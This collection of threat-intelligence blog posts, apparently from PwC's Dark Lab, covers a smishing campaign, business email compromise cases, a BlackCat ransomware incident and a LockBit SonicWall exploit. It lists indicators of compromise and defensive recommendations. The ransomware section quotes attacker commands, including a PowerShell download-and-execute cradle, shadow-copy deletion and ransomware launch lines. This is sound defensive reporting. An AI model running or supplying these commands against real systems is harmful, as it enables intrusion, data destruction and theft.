The final confirmation that the threat actor has previously targeted other Asia Pacific countries such as Japan with an objective of steal victims’ PII and credit card details was obtained through various posts on the social media platform Twitter. A simple search on 155[.]94[.]140[.]247 revealed that security researchers previously alerted the public in April 2022 of phishing campaigns impersonating reputable retailers such as AEON[5] and Amazon Japan[6], highlighting QuadraNet as the questionable ISP.

Figure 4: Twitter posts that flag 155[.]94[.]140[.]247 as suspicious in April 2022 given impersonation of AEON and Amazon Japan

Similarly, on 23 September 2022, local news station Channel C HK reported on a similar case whereby four (4) teenagers were detained by Hong Kong Police Force for using stolen credit cards to purchase electronic devices. Their investigation found that the group allegedly obtained the stolen credentials by operating a fake Hongkong Post website and linking a mobile payment tool to the site to make purchases with the stolen credit card information.[7] While there is insufficient information to draw a correlation between both cases, this incident provides further insight into the likely motivations and intended impact of the threat actors behind QuadraNet. This is the final validation to strengthen our assessment that this is a large-scale phishing campaign likely initiated by cybercriminals that sought to gain profit via sale of PII and credit card information.

Target Shifted: Observing the Threat Actor Impersonating S.F. Express

As of the time of writing, we observed that the campaign is likely ongoing though the behaviors of the threat actor has slightly changed. For example, S.F. Express is now the organisation being impersonated, with domains such as hkrzit[.]com, hkrmit[.]com, and hkrlit[.]com being registered between 13 and 14 October 2022. The naming convention has also altered slightly, with the alpha-2 ISO country code now only prefixed with an additional four (4) seemingly randomised letter characters instead of the original five (5) letter characters. We posit that the threat actor will continue to conduct smishing to obtain PII and credit card information from unsuspecting victims, likely those based in Hong Kong.

Figure 5: Screenshot of the fraudulent S.F. Express webpage that was hosted on hkrzit[.]com

Conclusion – To Be Continued…

PwC’s Dark Lab observes that Hong Kong and Singapore are actively being targeted by a global large-scale persistent smishing campaign. We strongly encourage citizens to practice caution and awareness when interacting with communications, particularly of SMS origin as a result of the recent campaign. PwC’s Dark Lab will continue to monitor campaigns of varying scales, not just those that may target enterprises but also those that impact individuals. We will continue to investigate this ongoing campaign and invite readers to stay tuned for further updates and insights.

Recommendations for Individuals

  • Users should remain wary of the legitimacy of webpages and their branding, and access websites via the global webpage as opposed to the URL shortened link if in doubt.
  • If you accidentally visit a phishing site, do not click on any links and check if any files were downloaded. Monitor your email’s ‘sent’ folder to identify if any unauthorized emails have been issued from your account. Alert the receiver, as well as your wider contact list that you may have fallen victim to a phishing attack so they can be on alert that incoming messages from your account may not be legitimate.
  • If you believe you have fallen victim to a phishing attack, we recommend that you perform a password reset, enable MFA, and report the suspected phishing activity immediately to your credit card issuers (and organisation if accessed the site through your work device) to monitor and restrict potentially suspicious activity.

Recommendations for Organisations

  • Organisations should conduct young domains monitoring and alert against potentially suspicious domains for further action – this is typically conducted by your Security Operations Centre. For this particular case, we suggest to look for domains that have four (4) or five (5) randomised letter characters appended to alpha-2 ISO country codes for the countries they operate in. We have already informed Hongkong Post and S.F. Express to investigate, and if necessary perform takedown of fake domains.
  • Organisations should enforce a layered defense strategy, incorporating both defensive and preventative protocols. This includes enforcing a zero trust network and organisation-wide.
  • Organisations should update their email security solution and network devices (including external firewall, web proxies) to detect for potential inbound/outbound connections from the known-bad domains and IP addresses in this post.
  • Registrars should enhance their onboarding due diligence to reduce the risk of provisioning domains impersonating legitimate brands and conduct regular review activities of those domains to ensure their use for ethical and non-malicious activities. 
  • Read our blog about Business Email Compromise (BEC) to learn more about targeting against organisations and the recommendations of how to prevent, detect and respond to a BEC attack.[8]

Indicators of Compromise (IoCs)

IoCType
155[.]94[.]140[.]247 IP Address
155[.]94[.]163[.]222IP Address
hkpoivt[.]comMalicious Domain
xiewen[.]xyzMalicious Domain
hkpoiec[.]comMalicious Domain
hkpoieq[.]comMalicious Domain
hkpocn[.]comMalicious Domain
hkpoir[.]comMalicious Domain
hkpoie[.]comMalicious Domain
hkpoet[.]comMalicious Domain
hkpoik[.]comMalicious Domain
hkpoim[.]comMalicious Domain
hkpois[.]comMalicious Domain
hkpoei[.]comMalicious Domain
hkrmit[.]comMalicious Domain
hkrzit[.]comMalicious Domain
hkrlit[.]comMalicious Domain
hkrxit[.]comMalicious Domain
hkrcit[.]comMalicious Domain
hkrocit[.]comMalicious Domain
hkromit[.]comMalicious Domain
hkroist[.]comMalicious Domain
hkpoist[.]comMalicious Domain
hkporut[.]comMalicious Domain
linkblti[.]comMalicious Domain
hkrqit[.]comMalicious Domain
hkrwit[.]comMalicious Domain
hkrocit[.]comMalicious Domain
hkrzit[.]comMalicious Domain
hkrlit[.]comMalicious Domain
cadpoxit[.]comMalicious Domain
hkrxit[.]comMalicious Domain
cadpocit[.]comMalicious Domain
hkrcit[.]comMalicious Domain
hkrocit[.]comMalicious Domain
hkromit[.]comMalicious Domain
hkroist[.]comMalicious Domain
sgpardrt[.]comMalicious Domain
hkpoist[.]comMalicious Domain
hkporut[.]comMalicious Domain
sgporut[.]comMalicious Domain
sgpoist[.]comMalicious Domain
cadporv[.]comMalicious Domain
cadporc[.]comMalicious Domain
mazsn[.]comMalicious Domain
anazch[.]comMalicious Domain
anazc[.]comMalicious Domain
anazcm[.]comMalicious Domain
aeomn[.]comMalicious Domain
anazsm[.]comMalicious Domain
singpirt[.]comMalicious Domain
hkpoivt[.]comMalicious Domain
hkpoiat[.]comMalicious Domain
hkpoiec[.]comMalicious Domain
hkpoieq[.]comMalicious Domain
foodpre[.]comMalicious Domain
likntbl[.]comMalicious Domain
gobmxp[.]comMalicious Domain
xwssr[.]xiewen[.]xyzMalicious Domain
ssr[.]xiewen[.]xyzMalicious Domain
xiewen[.]xyzMalicious Domain
cloud[.]thexw[.]cnMalicious Domain
ssr[.]thexw[.]cnMalicious Domain

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Phishing for Profit: Business Email Compromises

Posted on by darklabhk

There are plenty of phish in the sea and they’re back with new tricks! Dark Lab responds to multiple business email compromise campaigns targeting Hong Kong. We outline two recent incidents, sharing the Tactics, Techniques, and Procedures (TTPs) observed, and recommendations on how to prevent, detect, and respond to a phishing attack.

Business email compromise (BEC) is a social engineering attack which broadly refers to a malicious threat actor attempting to defraud organisations by hacking into their email accounts and impersonating employees and third parties. These phishing attacks have existed for many years, though remain prevalent due to their ability to continuously illicit emotional reactions of victims, thereby triggering an unintended response such as performing actions that lead to undesirable consequences. This is further exacerbated by the fact that BEC attacks typically yield a high return on investment given the low cost of setup and ability to scale operations globally.

The impact of BEC attacks are most evident in the amount of reported losses. The Federal Bureau of Investigation (FBI) reported that BEC attacks amounted to a staggering US$43 billion financial loss globally between 2016 to 2021.[1] Meanwhile, the Hong Kong Computer Emergency Response Team Coordination Centre (HKCERT) reportedly handled 3,737 phishing incidents in 2021, which represented almost half of the total reportedly handled incidents and was up 7 percent from 2020, rising for the fourth consecutive year.[2]

PwC’s Dark Lab also responded to an increased number of BEC campaigns in 2022. Two particular incidents stood out for their automated “spray and pray” approach to achieve initial access, followed by performing calculated and stealthy manual actions to persist in the Microsoft 365 environment to facilitate ongoing reconnaissance with the aim of effectively impersonating their victim to convince other staff members to approve fund transfers to the threat actor’s bank account. We elaborate the tactics, techniques and procedures (TTPs) that these threat actors leveraged and provide our recommendations on how to prevent, detect, and respond to BEC attacks should they befall your organisation. We further examine the rising trend of phishing kits in large scale phishing operations, enabling low-skilled threat actors to develop compelling phishing campaigns and bypass multi-factor authentication.

Case Study: Global Campaign by Opportunistic Cybercriminal of Unknown Origin

PwC’s Dark Lab responded to an incident in 2Q 2022 that involved a local property investment, management, and development company. The victim’s Microsoft Office 365 account was compromised via a phishing email from the sender domain macopas[.]com, with a link re-directing the victim to a fake Outlook login portal developed and hosted by the threat actor. To convince the victim to provide their password, the Outlook page pre-populated their email address. Given the victim’s mailbox did not have multi-factor authentication (MFA) enabled, the threat actor could obtain full access to the mailbox with a valid password.

The threat actor proceeded to perform three (3) manual actions to persist in the environment and gain more insights on the business operations while remaining hidden. First, the threat actor created various mail rules for moving and/or deleting emails with keywords associated with the threat actor’s access activities. Second, the malicious billing email was sent directly from the victim’s mailbox to various internal staff. Third, a malicious Azure enterprise application named “Newsletter Software SuperMailer” was created by the victim’s account for persisted access; this was particularly useful as the threat actor successfully performed re-logon to the compromised account even after the password was updated. The threat actor was only denied re-entry after MFA for the victim’s mailbox was enforced.

Through review of the available logs, we were able to observe through email trace that the attacker-controlled IP address delivered the same phishing emails to over three hundred (300) addresses of the victim organisation in alphabetical order. Meanwhile, we discovered through open-source information that similar emails had been sent to at least twenty (20) additional organisations globally. Combined with the fact that the threat actor was observed to only perform the first login two days after the password was inputted suggested they spent time to retrieve, study, and utilise their haul of phished credentials. These indicators and behaviour are more reflective of an opportunistic “spray and pray” campaign given the lack of urgency to quickly establish persistence. This is also evident in the end-to-end incident period lasting just under ten (10) days.

Case Study: Nigerian Cybercriminals Exploit Trusted Relationships with Hong Kong Branch Employee to Commit Cyber Fraud

PwC’s Dark Lab responded to a second BEC incident in 3Q 2022 involving a Chinese e-payment terminal solutions service provider with global operations. Similar to the case above, MFA was not enabled, and the threat actor was observed to host phishing domains imitating the Outlook login portal, enabling the threat actor to obtain initial access with valid credentials. This case left a lasting impression for three reasons.

First, the threat actor spent up to three (3) weeks familiarising themselves with ongoing operations by logging in remotely from multiple geolocations (including United States, Australia, Germany, and Nigeria) and modifying various mail rules and contact lists before executing their attack. The inbox rules hide emails specific to the transaction being targeted (e.g. emails from the legitimate parties, emails with transaction references numbers or bank accounts in the body). The emails are moved to a lesser viewed “RSS Feeds” folder with “Mark as Read” enabled in attempt to hide legitimate emails from the victim’s sight.

Second, the threat actor registered a new domain to impersonate the victim in Hong Kong to send emails to European counterparts . Notably, the threat actor embedded their phishing emails within existing conversations – an evasive tactic to exhibit legitimacy by using conversations with established trust. One of the seven (7) phishing emails contained a malicious link (secure[.]membra[.]co[.]uk) that appeared “clean” as it had not been reported as suspicious. However, through deeper inspection we observed the underlying IP address (45[.]153[.]240[.]153) was reported to be malicious, previously associated with other subdomains mimicking as the Microsoft O365 login page, likely used for global phishing campaigns.

Associated domains – likely past phishing campaigns
login-mso[.]cscsteelsusa[.]com
ogin-mso[.]cscsteelsusa[.]com
wwwoffice[.]cscsteelsusa[.]com
login[.]cscsteelsusa[.]com
Live Screenshot (as of 6/10/22) of login-mso[.]cscsteelsusa.com

Third, the threat actor practiced poor operational security including the inconsistent use of a virtual private network (VPN); as a result, they may have potentially disclosed that they operate out of Nigeria. While none of the Nigerian IP addresses were reported as malicious across various open-source security tools, Nigeria has been widely reported by security researchers to be a hotspot for cybercrime activity related to business email compromise attacks.[1] Overall, based on the investigation on open-source platforms leveraging the indicators of compromise from the incident, we conclude with high confidence that the incident was part of a larger-scale mass phishing campaign that opportunistic cybercriminals – likely out of Nigeria – conducted without the intention to target a specific sector or country, and with the motivation of transferring illicit funds to fraudulent bank accounts for financial gain.

Nigerian IP addresses
41[.]184[.]152[.]104
41[.]217[.]70[.]163
154[.]118[.]65[.]105

Phishing Kits bypass MFA

PwC’s Dark Lab observe the prevalent development of phishing kits (also known as adversary-in-the-middle (AiTM)), with over 10,000 organisations targeted by phishing kit attacks since September 2021. AiTMs provide a phishing toolkit as a service for attackers with low technical skills to execute a convincing phishing attack. AiTM phishing kits are easily accessible for attackers on the dark web with various open-source phishing kits available, including prominent providers Evilginx2[4], Modlishka[5], and Muarena[6].

AiTM phishing sites exercise a strong capability, as they enable attackers to deploy a proxy server between a target user and the website the user is attempting to visit – intercepting the connection by redirecting to the attacker’s phishing site. By targeting the authentication token, rather than raw credentials and/or MFA tokens, the phishing kit enables the attacker to steal a fully authenticated session from the victim, effectively bypassing MFA.[7]

As the trend of MFA enforcement by organisations and individuals continue to rise, it is expected that phishing campaigns will move away from traditional phishing methods towards the use of AiTM to overcome the barrier that MFA presents. As threat actors evolve to find innovative ways to circumvent controls and lower the barriers to entry, it becomes even more important for defenders to keep pace with these trends and understand how to prevent, detect, respond, and recover from such attacks.

Conclusion

As evidenced in both case studies, threat actors orchestrating large scale phishing campaigns pose a significant challenge for targeted victims. This can be observed in the actors’ willingness to wait up to three (3) to four (4) weeks before taking action, using the buffer period to build a strong understanding of the victim’s processes to effectively imitate their victim and evade suspicion.

In both cases, we observed oversights in the victim organisations’ security stance which ultimately resulted in their exposure to a BEC attack. In both cases, if multi-factor authentication (MFA) had been enabled, this could have prevented the threat actor from gaining access. Similarly, had the second victim organisation established rules to detect abnormal logins, such as flagging an IP address for suspicious activity if observed to have multiple geolocations over the span of a week, the organisation could have detected the suspicious activity at an earlier stage and prevented further action.

To effectively protect against phishing and BEC attacks, it is vital that organisations enforce a layered defense strategy – combining robust preventative measures with intuitive detective protocols.

Recommendations

While phishing legitimate brands and business email compromises will remain a problem, companies can take action to mitigate and prevent the threat they pose.

  • Enhance security controls by establishing procedures in defining “significant” financial transactions and their respective handling procedures, for example automatic bank notifications for outbound transaction verifications and mandatory out-of-band verifications of bank account changes.
  • Develop and exercise a layered defense strategy, incorporating well-defined preventative and detective measures.
  • Organisations should review their Microsoft 365 configuration and update their email security solutions and network devices (including external firewall, web proxies).
  • Implement conditional access rules configuring with Geo-location/IP address restriction to reduce the risk of unauthorised overseas access to O365. For example, a regular review of authentication records for key financial staff members (i.e. Chief Financial Officer, Financial Controller, etc.)
  • Organisations should establish rules to restrict unauthorised devices from accessing company resources. For example, enforcing limitations on what devices can access company resources and creating onboarding procedures to enrol authorised devices, such as an employee’s personal mobile phone, before they are able to access company resources.
  • Enforce strong multi-factor authentication (MFA), such as number matching, for all users.
  • To protect against AiTM attacks, it is advised that organisation implement a layered defense strategy that incorporates MFA in conjunction with various preventative and defensive measures. This includes implementing MFA that supports Fast ID Online (FIDO) v2.0 and certificate-based authentication, enabling conditional access policies, and continuous monitoring for abnormal activities.
  • Implement periodic checking process to detect suspicious behaviour such as abnormal logins, mailbox rules, email forwarding rules, and application consent activities.
  • Organisations should conduct young domains monitoring and alert against potentially suspicious domains for further action (e.g., domain takedown). This task is typically conducted by our Security Operations Centre for subscription clients, and supported by our Cyber Threat Operations function which includes the Threat Intelligence and Incident Response pillars.
  • Conduct regular awareness training to educate the workforce on how to detect suspicious activity, highlighting new TTPs and clear warning signs, and provide clear instructions on the steps to take if they believe they have been targeted by a phishing email. Awareness training can also be completed in the form of phishing simulations to test employees’ susceptibility to phishing emails and fraud (i.e. simulate a sudden change of bank account information to determine if the relevant team detects the unusual behaviour and responds accordingly).
  • Users should remain wary of the legitimacy of webpages and their branding, and access websites via the global webpage as opposed to the URL shortened link if in doubt. BEC-impacted companies should issue circulars and alerts as necessary when impersonation attempts are detected .
  • We further advise organisations to establish a O365 mailbox rule to detect inbound/outbound traffic from the malicious IP listed in our Indicators of Compromise (IoC) section.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques elaborated from the incident.

  • Acquire Infrastructure: Domains – T1583.001
  • Virtual Private Server – T1583.003
  • Botnet – T1583.005
  • Compromise Email Accounts – T1586.002
  • Phishing – T1566
  • Spear Phishing Link – T1566.001
  • Trusted Relationship – T1199
  • Email Hiding Rules – T1564.008
  • SharePoint – T1213.002
  • Remote Email Collection – T1114.002

Indicators of Compromise (IoCs)

IndicatorType
www[.]yinqsite[.]comKnown bad domains
login-microsoftonnex-mso[.]yinqsite[.]comKnown bad domains
yinqsite[.]comKnown bad domains
ogin-mso[.]wonjiinco[.]coKnown bad domains
glprop-okta-2f0bc4a0[.]wonjiinco[.]comKnown bad domains
stscn-lenovo-c9b8a5aa[.]wonjiinco[.]comKnown bad domains
msaauth-msasafety-95cce817[.]wonjiinco[.]comKnown bad domains
sts-glb-nokia-a6db40b3[.]wonjiinco[.]comKnown bad domains
sts-posteitaliane-694c6373[.]wonjiinco[.]comKnown bad domains
gas-mcd-37816100[.]wonjiinco[.]comKnown bad domains
login-mso[.]wonjiinco[.]comKnown bad domains
wonjiinco[.]comKnown bad domains
ogin-mso[.]cscsteelsusa[.]comKnown bad domains
wwwoffice[.]cscsteelsusa[.]comKnown bad domains
login[.]cscsteelsusa[.]comKnown bad domains
sts01-nestle-382a43f3[.]cscsteelsusa[.]comKnown bad domains
stscn-lenovo-a3ae4e78[.]cscsteelsusa[.]comKnown bad domains
fs-ncoc-a241b101[.]cscsteelsusa[.]comKnown bad domains
login-mso[.]cscsteelsusa[.]comKnown bad domains
www[.]cscsteelsusa[.]comKnown bad domains
kolroff[.]comKnown bad domains
xsbrane[.]comKnown bad domains
cscsteelsusa[.]comKnown bad domains
belasting-betalen[.]financeKnown bad domains
domain macopas[.]comKnown bad domains
95[.]216[.]126[.]229IP address
15.204.25.141IP address
Newsletter Software SuperMailerEnterprise application created by threat actor
45[.]153[.]240[.]153IP address
185[.]54[.]228[.]88IP address
185[.]202[.]175[.]6IP address
103.231[.]89[.]230IP address
41[.]184[.]152[.]104IP address
155[.]94[.]141[.]30IP address

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

The Black Cat’s Out of the Bag

Posted on by darklabhk

Dark Lab responded to a lesser seen ransomware breed in Hong Kong attributable to ALPHV/BlackCat. We outline the tactics, techniques and procedures of the threat actor, and share our recommendations to ensure readers do not have a cat in hell’s chance of becoming the next victim.

In the second half of 2022, Dark Lab responded to an incident impacting a non-profit professional services organization in Hong Kong. Available evidence suggests that one of the affiliates of the cybercriminal group ALPHV, otherwise known as BlackCat Ransomware-as-a-Service (RaaS), were likely behind the incident.

Reports of BlackCat first emerged in mid-November 2021, and the RaaS group swiftly gained notoriety for their use of the unconventional programming language RUST, their flexibility to self-propagate and target multiple devices and operating systems, and a growing affiliate base with previous links to prolific threat activity groups including DarkSide/BlackMatter and Lockbit 2.0 RaaS programmes.[1] The financially motivated cybercriminal groups’ targets are selected opportunistically rather than with an intent to target specific sectors or geographies but have been observed from their leak site as of 31 August 2022 to have successfully targeted 136 organisations across the United States, Europe, and the Asia Pacific region.

BlackCat is a lesser seen ransomware breed in Hong Kong. However, we posit they may continue to target the region, due to their opportunistic nature and scalability through their affiliate network. In this blog, we will analyse Dark Lab’s recent encounter with BlackCat, their Tactics, Techniques, and Procedures (TTPs), and share insights and recommendations on how to detect and respond to prospective attacks.

Analysis and Exploitation in the wild

Initial Access

Based on the available audit logs, the threat actor likely leveraged a critical remote code execution vulnerability CVE-2019-0708 or BlueKeep in Remote Desktop Services – formerly known as Terminal Services – that affects selected older versions of Windows.[2] To exploit this vulnerability, an unauthenticated attacker would need to send a specially crafted request to the target systems Remote Desktop Service via Remote Desktop Protocol (RDP). An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system, including installing programs; view, change, or delete data; or create new accounts with full user rights.[3] It should be noted that the RDP service itself is not vulnerable.

It was observed over the first three (3) days that the three of five (3 of 5) potentially malicious IP addresses to gain access to the vulnerable workstation in the victim environment, which was exposed to the Internet. The first two IP addresses logged in one day apart, and per various public sources have been flagged as potentially malicious dating back to December 2021.[4] The time spent in the environment was observed to be minimal and no more than a couple of hours combined, with specific execution of the Advanced Port Scanner and Mimikatz observed in the second session. More details will be elaborated in the next section.

Meanwhile, the third IP address was not previously reported to be malicious. The time spent in the environment was increased to almost eight (8) hours, though based on the available audit logs we were unable to ascertain the actions of the threat actor. Notably, the threat actor then remained silent for slightly over one (1) week between the initial login from the third IP address to the subsequent login of the fourth IP address. A fifth IP address was also observed to have logged on to the vulnerable workstation thereafter.

While we are unable to attribute any of those five (5) IP addresses to specific threat actors, we hypothesize that there are two groups of threat actors – the first being an initial access broker as categorized by the first two IP addresses, and the second being the BlackCat affiliate as categorized by the remaining three IP addresses.

Suspected Threat Actor Country Reported MaliciousReported Malicious on OSINT PlatformsDays of AccessReported Malicious on OSINT Platforms
Initial Access BrokerBelizeYesApril 2022Day 15 mins
Initial Access BrokerRussiaYesJune 2022Day 21 hour
BlackCat AffiliateRussiaNo–Day 3 7 hours
BlackCat AffiliateUSANo–Day 109 hours
BlackCat AffiliateUSANo–Day 102 days 4 hours

Through investigation into the user account compromised, we determined that the victim’s device was unknowingly exposed to the Internet due to a multi-homing issue, whereby their device was connected to both the corporate network as well as a standalone network with an external firewall and network configurations and that exposed the device to the Internet. It was further observed that the workstation had not been updated for multiple years, leaving the device unpatched and vulnerable to exploitation.

CVE(s)CVE-2019-0708
First Published Date26 November 2018
CVSS v39.8
Affected VersionsWindows 7, Windows Server 2008 R2, Windows Server 2008 and earlier.
DescriptionA remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests, aka ‘Remote Desktop Services Remote Code Execution Vulnerability.[5]
Potential ImpactRemote Code Execution Vulnerability enables threat actors to gain initial access and execute the malicious code.
Proof of Concept (PoC) AvailableYes[6]
Exploited in the WildYes[7]
Patch AvailableYes. Update to Windows Server 2012 or above.
We highly recommend installing the latest Windows version for patches against additional unrelated vulnerabilities.
Workaround AvailableMicrosoft[8] has provided potential workarounds:
• Disable Remote Desktop Services if they are not required.
• Enable Network Level Authentication (NLA) on systems running supported editions of the affected Windows versions.
• Block TCP port 3389 at the enterprise perimeter firewall.

Credential Access and Discovery by Suspected Initial Access Broker

We observed the threat actor deployed Advanced Port Scanner[9] to scan the network for open ports on network computers to identify weakened pathways.

The threat actor proceeded to execute Mimikatz[10] to dump the Local Security Authority Server Service (LSASS) process memory and obtain various credentials, including an account with domain administrator rights. This credential was later used for lateral movement.

Handover to Suspected BlackCat Affiliate for Further Discovery and Command & Control

It was observed that the threat actor executed a PowerShell command, Cobalt Strike BEACON (beacon.exe) [11] to initiate a connection with their command-and-control (C2) server, establishing a foothold on the victim network. The C2 enabled remote access to the environment without RDP, as well as further infiltration by leveraging various features provided by the implant.

The threat actor established a connection to a Cobalt Strike Beacon hosted on a public cloud server, potentially to collect their various toolkits by executing this command: powershell.exe -nop -w hidden -c IEX ((new-object.netclient).downloadstring("http:///a’). Subsequently, the threat actor deployed AdFind.exe [12] to perform active directory reconnaissance, enabling them to retrieve a list of accounts within the network.

BlackCat affiliates have been observed in the past to leverage AdFind.exe in conjunction with PowerShell to establish a persistent foothold on a target network, and thereafter downloading and executing malicious payloads.[13] The fact that the threat actor did this only from the fourth and fifth IP instead of the first three IP addresses lends more credence to the hypothesis that we make that the first set of IP addresses were initial access broker.

Lateral Movement

Through their enumeration of the victim’s environment, the threat actor was able to identify their critical systems ideal for targeting, including the domain controller server, back-up servers, and the anti-virus management server. It was observed by the threat actor that the anti-virus management server had no Endpoint Detection and Response (EDR) installed. Selective targeting of critical systems with no EDR coverage is a common practice among sophisticated threat actors as they present an ideal environment for attackers to arbitrate their attack while stealthily evading detection.

Subsequent to identifying the critical systems, the threat actor leveraged the stolen domain administrator account to initiate a remote desktop (RDP) connection. This enabled the threat actor to laterally move from the compromised multihoming workstation to the targeted endpoints due to the flat network environment, as a result of basic or lack of network segmentation in place.

Defense Evasion

It was observed that the threat actor exercised various acts of defense evasion through the use of masquerading tools and lateral movement. A key indicator tying this incident to BlackCat RaaS is the renaming of their tools an evasive manoeuvre often used by BlackCat affiliates to hide their malicious tools and make the process appear as if it is the original Windows svchost process.[14]

Exfiltration

The threat actor proceeded to manually deploy the malware on the anti-virus management server, initiating the self-propagation process whilst deploying rclone.exe[15] to exfiltrate the data to their cloud storage hosted on MEGACloud. Notably, while the New Zealand cloud service, MEGACloud, is a legitimate and trusted platform, it is also a popular service for hackers due to the platform’s unique payment feature allowing users to pay by Bitcoin.[16]

It has been reported by security researchers that BlackCat affiliates leverage rclone.exe to collect and exfiltrate extensive amounts of data from their victim’s network.[17] The threat actor executed the following command to exfiltrate data from the target network: ProgramData\rclone.exe

Impact

The threat actor exercised encryption of the exfiltrated data and executed locker.exe on various endpoints with the following commands:

  • C:\Windows\locker.exe" --child --access-token --verbose
  • C:\Windows\locker.exe" --access-token -v --no-prop-servers \ –propagated

The commands activate the BlackCat payload. Command 2 provides an indicator (“no-props-servers”) that the malware has the capability to self-propagate, but the threat actor strategically targeted critical servers for propagation, omitting servers likely to detect their movements.

It is worth noting that self-propagation is not a common feature of ransomwares. Ultimately, the goal of threat actors is to gain a foothold on a network as quick as possible for exfiltration and extortion. Self-propagation can work against this need for speed, as it requires time in the resource development phase to enumerate the network and select their targets, as well as a manual deployment of the attack. With that said, after the initial deployment the BlackCat ransomware is able to self-propagate, scaling across the network quickly – establishing their foothold whilst evading detection.

Conclusion

BlackCat affiliates work on behalf of the BlackCat group to conduct human-operated ransomware campaigns, opportunistic in nature. With a sophisticated toolkit, various evasion tactics including the RUST-written malware and self-propagating features, BlackCat RaaS poses a significant threat to organisations with conventional security systems. Organisations are encouraged to review the TTPs leveraged by BlackCat affiliates as a result of our recent incident response experience to improve their preventative and detective controls.

Recommendations

As mentioned in the previous blog posts, defending against human-operated ransomware incidents are extremely challenging, but not impossible if organisations adopt a defense-in-depth approach. The following guiding principles should be observed, atop of those already listed in the previous blog post:

  • Implement a robust threat and vulnerability management programme that leverages cyber threat intelligence to defend against human-operated ransomware incidents.
  • Design, implement, and operate an enterprise security architecture that embeds the concept of zero trust to focus on protecting critical resources (assets, services, workflows, network accounts, etc.), and not specifically just for network segments, as the network location is no longer seen as the prime component to the security posture of the resource.
  • Segment networks where operationally practical to prevent the spread of ransomware by controlling traffic flows between various subnetworks and by restricting adversary lateral movement. Disable unused administrative ports internally, such as Remote Desktop Protocol (RDP).
  • Identify, detect, and investigate abnormal activity and potential traversal of the threat actor across the network, such as ensuring coverage of Endpoint Detection and Response (EDR) tools on critical endpoints, including workstations, laptops and servers.
  • Perform malicious account and group policy creation to identify unauthorized changes and misconfigurations in your organisation’s network environment
  • Regularly perform a review for network and host-based assets for complete stock-taking to identify unpatched or misconfigured devices. Specifically, to maintain an inventory of assets, with clear indication of the critical systems and sensitive data, mapped to business owners and the relevant security controls to manage cyber risk.
  • Create a blacklist for the identified indicators of compromise (“IOC”) shared below to enable network-wide blocking and detection of attempted entry or attack and set up ongoing monitoring on the dark web and BlackCat leak site.

In addition, we strongly urge organisations that have deployed the vulnerable versions of Windows operating systems to execute the remediation actions outlined in the blog post, if not already completed. 

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques elaborated from the incident.

  • Active Scanning – T1595
  • Gather Victim Identity Information: Credentials – T1589.001
  • Credential Dumping – T1003
  • Account Discovery: Domain Account – T1087.002
  • Valid Accounts – T1078
  • Domain Accounts – T1078.002
  • Command and Scripting Interpreter – T1059
  • External Remote Services – T1133
  • Domain Trust Discovery – T1482
  • Remote System Discovery – T1018
  • Impair Defenses – T1562
  • OS Credential Dumping – T1003
  • File and Directory Discovery – T1083
  • Network Service Discovery – T1046
  • Network Share Discovery – T1135
  • System Information Discovery – T1082
  • Remote Access Software – T1219
  • Data Encrypted for Impact – T1486
  • Service Stop – T1489
  • Web Service – T1102
  • Lateral Tool Transfer – T1570
  • Remote Services – T1021
  • System Services: Service Execution – T1569.002
  • Ingress Tool Transfer – T1105
  • Remote Services: SMB/Windows Admin Shares – T1021.002
  • Exfiltration Over Web Service: Exfiltration to Cloud Storage – T1567.002
  • Transfer Data to Cloud Account – T1537
  • Data Encrypted for Impact – T1486

Indicators of Compromise (IoCs)

IndicatorType
C:\users\<user>\desktop\sharefinder.ps1Script
svchost.exe -connect ip:8443 -pass passwordProcess execution
powershell.exe -nop -w hidden -c IEX ((new-object.netclient).downloadstring(“http[:]//ip[:]80/a’))Powershell execution
C:\Users\<user>\Desktop\locker.exe
C:Windows\locker.exe		Executable File
C:\ProgramData\AdFind.exeExecutable File
C:\ProgramData\system\svchost.exeExecutable File
C:\ProgramData\svchost.exeExecutable File
C:\users\<user>\videos\beacon.exeExecutable File
ProgramDataLocalSystem/Upload/beacon.exeExecutable File
SYSVOL\Users\<user>\Videos\beacon.exeExecutable File
C:\admin\.exeExecutable File
C:\windows\users\test\pictures\64\86.exeExecutable File
C:\windows\users\test\pictures\WebBrowserPassView.exeExecutable File
C:\windows\users\test\pictures\PsExec64.exeExecutable File
C:\windows\users\test\pictures\PsExec.exeExecutable File
C:\windows\users\test\pictures\Advanced_Port_Scanner_2.5.3869.exeExecutable File
C:\windows\system32\cmd.exe” /c “vssadmin.exe Delete Shadows /all /quietCommand Execution

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Technical analysis of LockBit 2.0 affiliates’ SonicWall exploit that bypasses MFA  

Posted on by darklabhk

We outline the tactics, techniques and procedures of the threat actor, and share the technical details of the indicators of compromise for one of our incident response experiences in 1H2022.

In the previous blog post, we reported on the novel technique leveraged by LockBit 2.0 affiliates to  exploit SonicWall Secure Remote Access (SRA) Secure Sockets Layer Virtual Private Network (SSL VPN) appliance to retrieve the time-based one-time password (TOTP) which enabled the circumvention of the multi-factor authentication (MFA) access control. We identified at the point in time from open source internet search engines that over one hundred Hong Kong and Macau organisations may be susceptible to this exploit based on their reported use of potentially vulnerable appliances.

We follow-up on that blog post with a technical analysis that outlines the LockBit 2.0 affiliates’ Tactics, Techniques and Procedures (TTPs) as observed in our incident response experiences. In addition, we set the scene for our final blog post which will explore the potential factors that enables the LockBit Ransomware-as-a-Service (RaaS) group to continue innovating at a rapid pace and cement their position as a major player in the ransomware threat landscape.

Analysis and Exploitation in the wild

Reconnaissance

We observed through analysis on the SSLVPN appliance and firewall network traffic logs that either CVE-2019-7481 or CVE-2021-20028 was exploited twice prior to initial access. The first recorded instance was in late 2021, in which the affiliate obtained the credentials of an administrative account. We conclude this with high confidence given this credential had not been leaked via data breaches or to the Dark Web previously, while the user had adopted a strong password given its length and use of four password complexity character classes.

Over the next three months, each login attempt originated from a unique external IP address and were unsuccessful due to the enforcement of MFA. The exploit was executed again prior to successful initial access, again from a different IP address. The use of a different external IP address each time spread over a sporadic timeframe is a strong indication of likely malicious intent by a threat actor that sought to remain stealthy to avoid detection and triggering of the victim’s incident response protocols.

